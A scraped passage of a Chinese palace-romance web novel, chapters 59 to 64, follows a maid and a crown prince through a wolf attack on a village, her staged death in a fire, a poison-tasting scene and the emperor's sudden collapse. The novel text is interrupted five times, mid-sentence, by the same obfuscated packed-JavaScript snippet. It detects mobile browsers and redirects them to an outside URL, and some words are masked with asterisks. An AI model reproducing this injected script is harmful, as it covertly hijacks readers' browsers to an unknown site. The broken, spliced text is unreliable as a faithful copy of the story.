她声音虚弱地说完,又偷偷瞥向萧衍。 萧衍皱眉,看上去很是不耐烦,“这次出门简装匆忙,哪里有别的被子让你裹着?” 他冷哼一声,“孤就知道带你出门会有麻烦,罢了,铺床吧!” 说完,他背着手怒气冲冲去了院子。 可留下来的三人却不见害怕,同时松了口气。 因为只带了一个宫女,安小月只能一个人忙活。 她先是把炕头用帕子仔细擦了三遍,点上熏香,最后还要把狗太子用惯的东西摆出来。 正在她忙的团团转时,赵忠看不下去了,过来帮着搭把手。 他人高马大,又没干过这种活,做个什么都要先问一下是不是放在这里。 安小月也感激他帮忙,心里一暖,“赵大人放在桌上就好,多谢赵大人了。” 一时间,屋子里只有两人你来我往的说话声,竟有了几分热闹气氛。 只有苏德注意到站在院子里的太子殿下脸色越来越黑。 他悄悄回头看了眼,忙把头低了下去。 萧衍平静地收回视线,突然开口,“孤饿了。” 苏德急忙道,“那奴才去村里请个妇人来帮着做顿饭,殿下稍等片刻。” “不用。”萧衍目光幽幽地看向屋子,“让她动作麻利点,两刻钟后,孤要准时用饭。” 苏德无奈,只得进去传话。 安小月听了,眼睛瞪的溜圆,“啊?” 她手里还抓着狗太子的枕头,气的想捶上两拳。 撅着嘴正要抱怨,就见门口闪进了一个高大的身影。 立刻改口道,“苏公公麻烦转告殿下,请他放心,奴婢定会准时把饭摆到桌上!” 她麻利地把床铺铺好,拎着从太子府带出来的食材去了厨房。 赵忠挠了挠头,试探道,“她一个人怕是忙不过来,要不然我去打打下手?” 苏德瞥了他一眼,“你要是不想害她,就趁早打消这个念头,安姑娘自己都说可以,咱们就别操心了。” 屋子里的活还没有干完,苏德怕赵忠坏事,拉着他接着干。 不多时,一股奇特的芳香从厨房的方向飘了出来。 一个娇小的身影费力地拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595246|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个大木桶从里面出来,安小月腾出胳膊抹了把汗,扬声喊。 “苏公公,可以传膳了。” 正在屋内看书的萧衍瞥了眼沙漏,疑惑地挑了挑眉。 “居然只用了不到两刻钟?孤倒是好奇她做了什么好东西。” 苏德意会,“安姑娘,可以上菜了。” 安小月眼底闪过一抹狡黠,哼哧吭哧地把木桶拎进屋子。 萧衍起身走过来,瞥见桶里烂成浆糊,又黄黄绿绿的东西,瞬间沉了脸。 “你这是把孤当成什么来喂?” 安小月狠狠掐了自己一把,扑通一声跪倒在地。 “殿下恕罪,从府里带出来的食材金贵,要想做好很是费功夫,奴婢怕饿着殿下,就自作主张,用东西和邻居换了新鲜野菜。” 她低着头肩膀颤抖,及时挡住眼底一闪而过的得意。 萧衍盯着她看了许久,忽然冷笑。 “孤有你真是孤的福气,既然如此贴心,不如今夜就在孤床边守夜可好?” 安小月咬了咬牙,却不得不磕头谢恩。 “奴婢遵命。” 萧衍嗤笑,甩袖而去。 到最后还是苏德用银子请了两个麻利妇人做了顿饭,总算是让萧衍不至于饿着肚子睡觉。 而安小月却没份,因为太子下令,让她把那桶野菜粥都喝了。 脸都喝绿了却还剩下大半桶,赵忠和苏德见她可怜,和四个侍卫一人帮着喝了一碗才勉强解决。 安小月撑的不行,在地上翻来覆去地换姿势。 黑暗中萧衍忍无可忍地睁开眼。 “你到底想干什么?” 安小月咬着嘴唇,在被子里动了动腿,“殿下,奴婢想,想去更衣……” 萧衍“呼哧”坐了起来,咬牙切齿。 “跟孤说什么?还想让孤抱着你去?” “不用,那奴婢去了……”她抓起外衣披上,猫着腰摸黑出了屋子。 夜深人静,村子陷入寂静,显得远处的狼嚎声愈发清晰。 安小月刚出了门便僵着身子一动不动,盯着某处,紧张地咽了咽口水。 “殿下,有,有……” 第60章 狼群 回答萧衍的是“嗷呜”一声犀利狼嚎,伴随女子惊恐的尖叫,瞬间引得远处村户的狗狂吠起来。 窗户一扇接着一扇亮起昏黄灯光,安小月听到“咚”的一声闷响,不知道是谁从床上掉下来了。 “救……”她被那双幽绿狼眼锁定,还没来得及呼救,身后的门猛地被踹开。 一道修长身影迅速掠出,长刀破开黑夜,“唰!” 狼血飞溅,安小月呼吸一滞,呆滞抬头。 只见萧衍手持长刀挡在她前面,中衣松松垮垮,显然是从床上匆忙起身的。 “殿下……”安小月颤巍巍抬手拽住他的袖子,这次是真的被吓到了。 萧衍没理她,目光森冷地环顾四周。 这时,门口传来阵阵脚步,安小月还以为又有狼群包围,急忙缩在狗太子身后。 “殿下,周围已经被狼群包了,这头狼想必是被狼王派过来探路的!” 赵忠低沉的语调在黑夜中越显凝重。 似乎是为了印证他的话,更多的狼嚎声从四面八方传来,绿莹莹的眼睛在黑夜慢慢逼近。 村庄里响起汉子们的吆喝声,还有人不断敲击铜锣试图驱赶狼群,但效果微弱。 狼群离得越来越近。 萧衍厉喝一声,“赵忠,带人去将村庄里的所有百姓安置在一起,苏德,点火,把篱笆烧了!” “是!” 几声应和之后,赵忠带着人迅速离开,苏德立刻将火折子扔到篱笆处。 火焰先是一点点吞噬周围**,紧接着“轰”地燃起,火光照亮了整个院子。 安小月这才发现傍晚他们停留过的田边站了五六头狼,呲着獠牙,虎视眈眈盯着他们。 她下意识往后退了一步,脊背撞上土墙,发出不轻不重地闷响。 萧衍回头看了她一眼,“怕了?” 他冷笑一声,似是鄙夷道,“就算真**,也有孤陪着你,黄泉路上倒也不太寂寞。” 安小月咽了咽口水,颤声道,“殿下千岁……不会就这么死的。” “呵。”萧衍冷笑着挽了个剑花,泛着寒光的剑锋猝不及防地抵在她脖子上。 安小月身体一僵,缓慢抬头。 萧衍眼底深不可测。 “孤难得在外过夜,头一回就遇上了狼群,你说,是不是很巧?” 他面无表情地把剑尖往下压了压,在她白皙的肌肤上压下一道血痕。 安小月心头猛地一沉。 他怀疑她? 他以为是她设局引他到此,又引来狼群**? 安小月睫毛轻颤,抬眸,脸上浮现出恰到好处的惶恐与不安。 “殿下明察!”她哽咽道,“奴婢就算是有天大的胆子,也不敢谋害殿下,再说奴婢一路同行,若真是奴婢,那奴婢不怕死吗?” 萧衍冷哼,“孤也想知道到底是谁让你宁愿用死也要拉孤下水。” 安小月一顿,心跳几乎停跳。 狗太子居然还是怀疑! 她死死咬住舌尖,努力回想到底是做的哪件事让他盯上了自己。 可因为实在害怕,眼泪不受控制地顺着脸颊滑落。 萧衍眯起眼睛,审视着她。 安小月此时是真委屈了,又带着几分气性,双手抱住他的手,竟往前一倾,脖子主动往剑峰上撞。 “殿下不信,奴婢唯有以死明志。” 萧衍眼神一凛,猛地收剑,一把按住她的肩膀往后退。 “够了!你想死,孤还不想要你这条命!” 安小月泪水涟涟,带着哭腔,“殿下不要,奴婢却不堪忍受冤屈,唯有以死明志,才可证明清白。” 萧衍眉头越皱越紧,心底仅剩不多的那点怀疑正悄悄消失,就见刚才还被吓得腿软的人一把推开自己,大步跑向火墙。 “安小月!”萧衍瞳孔皱缩。 伸手,却只碰到了她的衣角,苏德跑过去拦人,却被安小月灵活躲过,自己“哎呦”一声,竟趴地上了。 娇小的身影很快消失在大火当中。 萧衍僵在原地,死死盯着那片火海,苏德怕他要去找人,连滚带爬挡到前面。 “殿,殿下……火势太大,您可千万不能进去啊!” 萧衍指节捏得发白,脸色阴沉的可怕。 “她居然敢死!” 苏德不敢出声,着实被安小月的惊人举动惊住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600788|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “殿下!”匆匆赶回的赵忠高坐在马上,扬声禀报,“村民已经都安置好了,就在不远处的麦场,但狼群数量还在增加,是否要立刻绞杀?” 他们这边算上苏德,也只有七人,想要对付数以千计的狼群,谈何容易。 但若是不管百姓…… 萧衍缓缓收回目光,嗓音沉沉,“发信号求援,先杀一批再说!” “是!” 侍卫们迅速行动起来,萧衍翻身上马,迟疑片刻,终是忍不住回头看了眼熊熊燃烧的火墙。 眼底闪过一丝晦涩不明的情绪。 而另一头,安小月一瘸一拐地摸黑前行。 想起狗太子冷血无情的模样,她鼻头难忍酸涩,气地踢飞脚下的石头。 “什么人?” 清脆声音惊动了藏在角落的人,安小月猛地停下,不敢再动。 昏暗中,一个瘦小的身影慢慢摸过来,手里攥着的东西直指她的喉咙。 安小月借着月光一看,发现是根削尖的木棍,而指着她的则是个小少年,衣衫破烂,但眼神却格外锐利。 “你是谁?” 安小月连忙举起双手,“别怕,我是太子殿下的贴身宫女,太子正在前方与狼群厮杀,特命我来安抚村里百姓。” 小少年却不相信,上上下下打量。 “你这般年轻,就已经是太子殿下的贴身宫女了?若是真的,为何会独自前来?” 安小月只好继续解释,“太子殿下出巡匆忙,只带了几个人,自然不可能分出更多的人来,我有太子府的信物,你若是信我,带我到有光的地方,我拿出来给你看。” 兴许是她太过诚恳,小少年犹豫片刻,终于放下了木棍。 “跟我来,若是你骗人,一会儿就杀了你喂狼!” 安小月看着小少年故作狠辣的模样,不禁有些想笑,却见他又有拿起木棍的架势,急忙点头。 “放心,我没有骗人。” 小少年让她走在前面,一起往麦场而去。 安小月听着不远处的阵阵狼嚎,心头越发凝重。 真是古怪。 她状似无意问,“之前村子里来过狼吗?” 第61章 改观 小少年闷闷道,“没有,就算去山上最多远远瞧见有一两只,从来不像今晚成群结队的来。” 安小月眉头一皱,“那今天晚上狼群怎么会突然攻击村庄?” 她心里涌起疑惑。 狼群来得太巧了,偏偏在太子在村里过夜的时候出现。 她若是狗太子,也会怀疑是不是有人设局。 可他要去田庄的决定突然,知道的没几个,况且还在铁桶一般的太子府,怎么可能被泄露…… 安小月脑中飞快思索。 狼群若是有人驱使,在不缺食物的情况下,只可能是奔着狗太子来的。 可太子会来此处也是听了她春耕与老鼠之言,表面上是被她引来,但真正布局的,恐怕另有其人。 他们那场对话有人偷听! 安小月咬了咬唇,心中冷笑不已。 好啊,这是拿她当替死鬼? 到了麦场,村民们或站或坐,见小少年引回来一个陌生女子,顿时紧张起来,还有些抄起了农具。 安小月上前一步,扬声道,“大家别怕,我是太子殿下的贴身宫女,殿下正带着人在前方与狼群厮杀,特派我来安抚诸位,大家耐心等待,很快就能回家休息了!” 惶恐不安的村民顿时面面相觑,孩童止住了啼哭,皆是一脸期待的看着她。 “可是狼群残暴,万一……” 安小月扶起跌倒的妇人,温言安抚,“大家不用担心狼群会找到这里,狼怕火,我们只需在四周点燃火把,再让青壮男子持棍警戒,狼便不敢靠近。” 村长担忧村民们会出事,但想到此时此刻唯有自救才能有一线生机,按照安小月的吩咐组织人手。 麦场顿时一片火光。 青壮男子将老弱妇孺围在中间,安小月从其中挑选了几个手脚麻利的,帮着一起照料在逃跑中受伤的村民。 好在没过多久,野狼的嚎叫声逐渐听不清了。 村庄又归为一片寂静,村民没敢出声,只是沉默地站着,确认危险彻底解除之后,最沉不住气的年轻小伙便激动的大叫起来。 “狼群退了,狼群真的退了!” “多亏了有太子殿下,多谢太子殿下救命之恩!” 这两声像是打开了闸门,村民们如梦初醒,纷纷跪倒在地大喊。 “太子殿下真是天神下凡!” “太子殿下神威!” 百姓们的欢呼声还未落下,远处传来一阵急促的马蹄声,震的人心神俱颤。 众人下意识噤声,转头望去。 夜色中,数匹高头大马疾驰而来,尤其是为首的那一匹黑马尤为神骏。 安小月一下子就看清坐在马背上的玄衣男子,不是狗太子还能有谁。 萧衍勒缰停马,居高临下地扫视众人,突然他目光一顿,微微眯起眼睛。 苏德自然也看到了人群中的安小月,眼睛瞪得像是见了鬼似的。 “安,安姑娘,她不是,不是**吗!” 萧衍冷笑,“好一个以死明志,原来是在耍孤!” 安小月早就察觉到狗太子要**一样的目光,却没有主动过去,而是继续安抚身旁被吓得瑟瑟发抖的小姑娘。 萧衍盯着她,忽然笑了。 “好,很好。” “苏德,把她给孤带过来!” “诺。” 苏德急忙翻身下马,一个劲的给安小月使眼色,可后者却故作不知,直到被拉出来才一脸惊讶。 “苏公公,你怎么来了?” 苏德一边觑着太子殿下的神色,一边压低声音道,“安姑娘,你这是要吓死我啊,殿下还以为你出事了,刚才宰了一百多头野狼呢!” 这哪里是保护百姓,明明是在泄愤。 安小月眼睫轻颤,却还是耍脾气的没有过去请安。 苏德焦急,却拿她也没办法。 萧衍冷眼看着这一幕,眸光微沉。 赵忠轻咳一声,提醒道,“殿下,村民们都受到了惊吓,属下这就安排大夫替村民们诊治。” 萧衍这才移开视线。 “除了大夫,再叫一百个士兵帮助村民修整房屋,另外每人发一两银子作为补偿,一切花费均由孤承担。” 话音刚落,人群立刻又沸腾起来。 “太子殿下仁德如天,爱民如子,苍天有眼,赐我王朝这般圣主明君啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600789|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “愿为殿下效死!” 百姓们纷纷跪在地上感激涕零,更有甚者红着眼眶高呼。 萧衍高坐在马上,望着跪伏一地的百姓,口中高呼对他的各种感激膜拜。 他本应该感到欣慰的。 然今夜之事全由他而起,是他牵连了村子里的百姓,反倒过来成了救命恩人。 实在是可笑至极。 他深吸一口气,正要再说话,就见原本站在旁边的安小月轻轻撩起裙子也跪了下去。 苏德见此自然跟着下跪,连同自己身后的那一群士兵,纷纷下马单膝跪地。 “殿下仁德!” 萧衍心头一震,直直撞上安小月格外清亮的眼睛。 她正静静看着自己,如同这些百姓一样,目光中带着十足的感激与依赖。 萧衍下意识避开视线,喉结滚了滚。 高声道,“诸位放心,孤保证在孤有生之年,狼群不敢再踏上这片土地,还百姓一片安居乐业,另外,这处村庄免赋三年,明日便开仓放粮!” 下一刻,百姓们又爆发出震天的欢呼。 出了这种意外,种稻子是没可能了,留下赵忠带人帮助百姓修缮房屋,萧衍带着剩下的人返回太子府。 安小月独自坐在马车上,悄悄掀开帘子看侧前方的狗太子。 他端坐如松,衣袍猎猎翻飞,在火光下身形显得越发挺拔俊朗。 突然,他回头看了一眼。 安小月急忙放下帘子,缩了回去,心跳顿时快如鼓擂。 少年储君的威名传遍四方,她在相府时自然听说过。 但耳听为虚,眼见为实,她头一次对在战场上无所不能的大将军王有了实质认知。 外界都说他暴戾冷血,可他会主动体谅百姓庄稼被毁的愁苦。 甚至亲自带兵杀狼,做出储君能给的所有承诺。 安小月忽然感觉心口发烫。 也许,狗太子并没有传闻中的那般不堪。 若是爷爷当初遇见的是像他这般明智的君主,兴许就不会落得一条死路。 安小月幽幽叹了口气,把发烫的脸埋进掌心。 一路无言。 第62章 信你 抵达太子府已是深夜。 苏德提着灯笼大喊,“殿下回府,快准备热水!” 本应当安静的太子府突然热闹起来,就连厨房都亮起了灯火。 安小月本想趁着混乱逃回屋子,哪知道狗太子下了马之后没有立即进去,反而在门口等着。 见她下来才带着人进了太子府。 她便没想着再逃,总之躲是躲不过去的。 安小月跟在萧衍身后,偷偷瞄他的背影。 他披风下摆还沾着狼血,在青石地砖上拖出几道血痕。 要进玉庆宫之前,萧衍突然转身指着她,“你跟孤进来。” 安小月心里咯噔一下,直喊完了。 热水早已经准备妥当,苏德捧着热帕子上前,“殿下,老奴先伺候殿下沐浴……” “你退下。” 萧衍黑沉沉的目光盯着安小月,“让她来。” 苏德的手一顿,眼底飞快地闪过诧异,却还是笑眯眯的把热帕子递给安小月。 “安姑娘,那就辛苦你了。” 安小月心头发紧,狗太子方才的目光又冷又狠,本身就怀疑这场灾祸因她而起,自己又骗了他…… 她还没进去就已经预想到了自己的后果。 “喏。” 萧衍面无表情的大步走进隔间,安小月深吸了口气,在苏德的眼神鼓励下,视死如归跟了上去。 浴桶里的热水腾起白雾,将隔间熏得又热又湿。 萧衍背对着她站在浴桶旁边,微微抬着胳膊。 “更衣。” 安小月忙放下帕子上前,颤抖着手去解他的腰带。 兴许是太过紧张,半天都没有将玉带扣解开,安小月急得出了一脑门的汗。 偏偏这时头顶传来一声冷哼。 “怎么?连伺候人更衣都不会?” 她进太子府是当奴婢的,若是不会替人更衣,岂不是懈于职责,懒惰度日? 安小月咬住下唇,强迫自己镇定。 终于,外袍的扣子解开了。 可当她看见染了血的雪白中衣时,还是吓得后退了半步。 萧衍蹙眉,伸手合拢衣裳,像是被她磨蹭的动作惹**了似的,不耐烦地赶人。 “出去等着。” 安小月却没动弹,深吸一口气,又一次伸向他的腰带。 萧衍顿了下,便任由她替自己脱了上衣。 就在她的手要往下身伸过去之时,他不着痕迹的侧身躲开,穿着里衣进了浴桶。 安小月拿起布巾,小心翼翼地触碰他的后背,明显感觉到掌下的肌肉紧绷。 她往前面瞄了一眼,他胸口还有几道新添的伤痕。 安小月想起他挥剑挡在自己面前杀狼的狠戾,手下的动作不自觉地放轻。 “说说吧,为什么装死?” 他一只手有节奏的敲打木桶边缘,仿佛敲在安小月的心上一样。 她本来想随便扯个借口,哄过去就行了,但一想到他今晚的举动,便不想再骗他。 “殿下恕罪,奴婢没有装死。” “奴婢早就知道院子里有一处石头做的小门,大火烧不到那里去,这才……” 这才想着趁机吓唬吓唬他。 萧衍见她不往下说,冷笑一声帮她补齐,“这才想着装作**跑进火里,好让孤打消对你的怀疑,说不定还会心疼你无辜丧命,是不是?” “不是的。”安小月扔了布巾,绕到侧边匆忙解释,“这次的事情真的跟奴婢没有关系,地方确实是奴婢提议的,是因为奴婢只来过这个村子。” “若真的是奴婢设计,殿下出了事,早晚会查到奴婢这里,奴婢又不傻……” 她是想勾引狗太子不假,但从没想过让他死啊。 幕后之人可真是歹毒,利用了狗太子对她的不信任,这才顺利引得狗太子对自己起疑。 突然安小月一顿。 若是幕后之人知道狗太子不信任她,极有可能知道她来太子府的目的。 若真是如此,那凶手的范围便缩小了很多。 她突然陷入沉思,让还等着她强词夺理的萧衍疑惑地看了过去,扯了扯嘴角。 “你若真的不傻,就不会独自过去安抚百姓。” 萧衍语气嫌弃。 也是这个村子的村风淳朴,若是有不怀好心的,她只怕还没到地方就被人掳走了。 安小月一脸讪讪,“奴婢想着殿下在前方辛苦杀狼,奴婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600790|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却连自保的本事都没有,只能过去让百姓们心安。” 好在结果不错。 提起此事,萧衍不屑地勾唇冷笑。 “背后策划之人估计是没想到孤会留下来保护百姓,不仅没有出现人员伤亡,还收获了百姓的感激,偷鸡不成蚀把米,这回只怕肠子都要悔青了。” 安小月赞同地点头。 先不说圣上知道太子得到民心会有什么想法,总归那些支持太子的人定会很得意。 相反的自然会有些人气得不轻。 她忽然意识到什么不对,猛地凑到太子面前,“殿下的意思是不怀疑奴婢了?” 萧衍蹙眉,按着她的脑袋推开。 “孤仔细想了想,你若是真想要孤的命,一颗**便够了,何苦兜这么大的圈子。” 安小月还以为要费些口舌才能让他相信自己,闻言用力地点头表示赞同。 却见萧衍突然似笑非笑起来。 她才恍惚意识到他话里的暗示,脸色一变,飞快地摇头。 “殿下,奴婢不是这个意思,奴婢从来没有要害殿下的打算,奴婢真的……” “够了。”萧衍微微勾起唇,掬了一捧水撒在肩膀,“孤自然懂得你的真心。” “真的?” 安小月连续两次差点掉进他布置的陷阱,这会儿居然晕乎乎的反问是不是真的。 萧衍挑眉,瞥见她湿漉漉的眼睛,轻哼一声。 “孤难道会像你一样骗人?” “叫苏德进来,你出去换身衣裳再来,孤等着你一起用膳。” 安小月见他脸色平平没有说笑的意思,恭敬行礼,迈着飘忽的步伐出了隔间。 被夜风一吹,她才发觉后背已经汗湿了。 方才狗太子虽然说信她,但脸上的笑意却不达眼底,倒像是有些无所谓…… 安小月蹙眉,忍不住抬手摸了摸自己的头顶。 他炽热的掌心刚才就贴着这里,痒痒的,暖暖的,带着一股不容忽视的气息。 她忽然想起第一次被他亲吻时也是这种反应,心里像是被小猫挠了一爪,却还是忍不住想让它再挠一次。 安小月神色复杂地揉了揉头顶,慢吞吞地回了自己屋子。 第63章 储君信物 再进来时安小月换了件淡绿色宫装,月牙白色的腰封衬得腰肢不盈一握。 萧衍背对着门站在雕花窗前,听见脚步声缓缓转身,目光随意上下扫视。 “坐。” 他大步走向紫檀木食案,见她仍站在原地,浓眉又皱了起来,眼底闪过一丝不悦。 “愣着做甚?” 安小月才惊觉他那句“等着一起用膳”竟是要同席的意思! 指尖紧紧攥进手心,她只觉得双腿如同灌了铅一般沉重,头一次打起了退堂鼓。 “殿下,这不合规矩。” 萧衍漫不经心,敲了敲案几,“孤就是规矩,坐。” 苏德早就在她进来时识趣退下,殿内只余烛火噼啪作响。 顶着那道炙热目光,安小月迟疑片刻,慢吞吞挪了过去。 算了,试菜本就在她的职责范围之内,再说狗太子自己主动,跟她可没半点关系。 到了跟前她已稳了心神,盈盈一拜,挨着绣凳边缘坐下。 狗太子一直沉默,也没说她要做什么。 安小月偷瞄了他一眼,才试探着每样菜都夹了一点,又看了他一眼,瞬间会意。 原来是等着她试菜呢。 安小月不动声色地深吸了口气,缓慢地拿起筷子。 而萧衍则是全程似笑非笑地盯着她。 “味道如何?” 安小月只怕自己会被毒死,连鲜美的八宝鸭在她嘴里都味同嚼蜡,干巴巴地笑了笑。 “殿下赏赐,味道自然美味。” “那就好。” 萧衍说罢,探身舀了一勺她还未试过的雪霞羹,安小月呼吸一滞,下意识伸手。 “殿下,那道菜……” 她的指尖不经意擦过他的手背,一边冰凉,一边火热,两人俱是一怔。 安小月急忙收手,紧张的脸都白了。 “殿下,那道菜奴还没有试到。” 萧衍眸色转深,故意将肉羹送进嘴里,盯着她慢条斯理地咀嚼。 “殿下……” 安小月吓了一跳,声音里带着几分真实的惊慌。 萧衍却已经尽数咽下,还故意咂了咂嘴,见她一副“完了”的慌乱模样,忽然低笑出声。 “你这是担心孤会当场毒发身亡?” 他说着又舀了一勺递到她嘴边,薄唇扬起戏谑的弧度。 “不如你也吃一口,即便是真的有毒,孤在黄泉路上倒也不会……” 话未说完,却见安小月突然抓着他的手,还未等他反应过来,就着将玉勺含在嘴里。 她竟真的将整勺肉羹咽了下去。 萧衍罕见地愣住了。 安小月默不作声地接过玉勺放在桌上,抬眸时眼神异常明亮。 “奴的命不值钱,但殿下若是因为奴伺候不周出事,奴可没有九族来赔。” 她忽地一顿,眼睛怪异地亮了亮。 若真得罪了太子,相府会不会也受牵连? 萧衍沉浸在她毅然决然吃下那勺肉羹的举动之下没有发觉,许久目光才逐渐聚焦在她唇上。 “你……” 他喉结不自觉滚动,突然连名带姓地叫她,“安小月,你还是第二个敢在孤手上抢东西的人。” 她下意识问,“那第一个呢?” 萧衍嗤笑,指尖突然用力按着她的下唇点了点。 “坟头草现在都有三尺高了。” 说完见她瞳孔微缩似是想跪,立刻反手扣住她的肩膀,表情意味深长地逼近。 “现在知道怕了?” 最后一个字刚出来,却见安小月突然捂住胸口连连咳嗽,身子也跟着晃了晃。 萧衍骤然色变,一把将人揽到怀里,“怎么了?” 怀里人却抬起湿漉漉的眼睛,唇角微微翘起,“只许殿下吓唬人?” 她早就猜到这些饭菜必定提前试过毒了。 要不然就凭狗太子对下半身严防死守的那股警惕,怎么会真的吃下可疑东西? 安小月无辜地眨了眨眼,似是打趣,“原来殿下也会上当。” 她忽然就笑开了,眼睛弯成了月牙,袖口掩着唇,偏又漏出几声笑。 这般姿态,倒显出几分平时没有的鲜活气,颇有些邻家小女儿的俏皮。 蜡烛“噼啪”爆了个灯花,映着萧衍晦涩不明的眸色。 他忽然掐住安小月下巴,“很好,那今晚……” “殿下!” 殿门之外,苏德惊慌的呼唤声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604883|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打破了室内的旖旎。 安小月一惊,红着脸慌忙推开他坐起来,“殿下,苏公公或许是有要紧事情,奴先去开门?” 门外,苏德依然在敲门呼唤,“殿下,殿下……” 萧衍抿唇,冷着脸摆了摆手,“让他进来。” 安小月小跑过去过了门。 只见苏德一进来便噗通跪了下去,急声道,“殿下,圣上忽然昏迷,如今人事不省,娘娘请殿下即刻进宫!” 萧衍震惊起身,脸色难看。 安小月不等吩咐,利索地进了暖阁收拾出来一身素净衣裳,想了想,把中衣放了回去。 萧衍黑着脸进来,见独独少了中衣,皱眉瞪她。 安小月却怯怯解释,“殿下若衣冠齐整,反倒显得不慌不忙……” 萧衍眸光一闪,瞬间就明白了她的用意。 她是在替他做戏。 深深地看了她一眼,轻嗤,“就你机灵。” 他嘴上嫌弃,却任由苏德伺候着穿上外袍。 临出门之前,萧衍却叫安小月过去,解下身上的玉佩随手扔了过去。 “收好。” 安小月大惊,“殿下,这……” 她推拒的话还没说完,玄色衣袍却已经消失在视线中。 安小月握着玉佩的指尖微微发颤,垂眸凝视着玉佩上精细的蟠龙纹图案。 这是东宫储君的信物,见到此物如同太子亲临,此刻却像个烫手石头似的。 这是赏赐,还是试探? 她下意识用拇指摩挲玉上细微的划痕。 今夜她一再示弱,甚至用上了美人计,全是想让狗太子对她更信任一些。 如今他把这般贵重的东西交给她,她却有些不知所措。 若此刻拿着玉佩去相府救人…… 安小月猛地攥紧玉佩,念头刚起就被掐灭。 狗太子故意在这个关头把信物留下,说不定暗地里还派人盯着。 她若是真去了,才是着了道。 安小月突然轻笑出声,抽出帕子将玉佩珍而重之地放了进去,又仔细裹好才塞进怀里。 可当玉佩贴上胸口的时候,心跳却漏了半拍。 不知为何,她总有种不好的预感。 第64章 伶俐宫女 夜色沉沉压在皇城之上,太医院的几位太医跪在紫宸殿外,额角滑下细密的冷汗。 萧衍快步走进殿内,闻到一股浓郁的安神香味儿。 他余光扫过摆在中央的香炉,又落到龙榻之上。 “陛下脉象虚浮,气血逆行,恐是忧思过重,邪风入体,需静养调理才是。” 为首的太医说完,伏身叩首。 皇后蹙眉不信,“若单单是这个原因,陛下为何迟迟不醒?再说如今朝中事物大大小小都依赖于陛下,太医说的法子八成不顶用。” 太医们面面相觑,竟无一人敢站出来说话。 萧衍刻意加重脚步,撩开帘子走了进去。 皇后目光落在他单薄的外袍上,闪了闪,却很快被忧色掩盖。 “衍儿,你可算来了,陛下如今昏迷不醒,太医们束手无策,这可该如何是好?” 萧衍垂眸,恭敬行礼。 “母后莫要着急,父皇身体一向康健,此次定能逢凶化吉。” 皇后深深看了他一眼,赞同点头,又叹了口气,“你是储君,如今陛下病重,朝中事务总得有人拿主意才行,不如衍儿……” 她话未说完,萧衍便侧身看向跪在地上的太医首。 “刘太医,孤有话问你,父皇这次突然晕厥,是因何故?若是能对症下药才好。” “这……”刘太医口吻迟疑,又道,“老臣无能,陛下此次病情来的又凶又急,臣等几次查看也未能找出根源,实在不敢贸然用药,还请殿下降罪!” 皇后冷笑一声。 “这般无能,的确要罚,不如就罚你们今夜务必要研制出最适合陛下的药方,若是明早还是不成,那你们的脑袋也别想要了。” “娘娘开恩啊!” 太医们顿时面如土色,连连叩首。 萧衍站在一旁,眸色深沉。 他静静看着这一幕,面上依旧维持着恰到好处的担忧,可心中的疑虑却愈发强烈。 若父皇情况真的这般凶险,那老六怎么可能不来? 这其中必定有诈! 萧衍抬眸,目光扫过瑟瑟发抖的太医们,缓缓开口。 “母后息怒,父皇身体贵重,贸然用药确实不妥,如今全要靠众太医齐心协力才行,多给他们些时间又何妨?” “你们抓紧时间便是。” 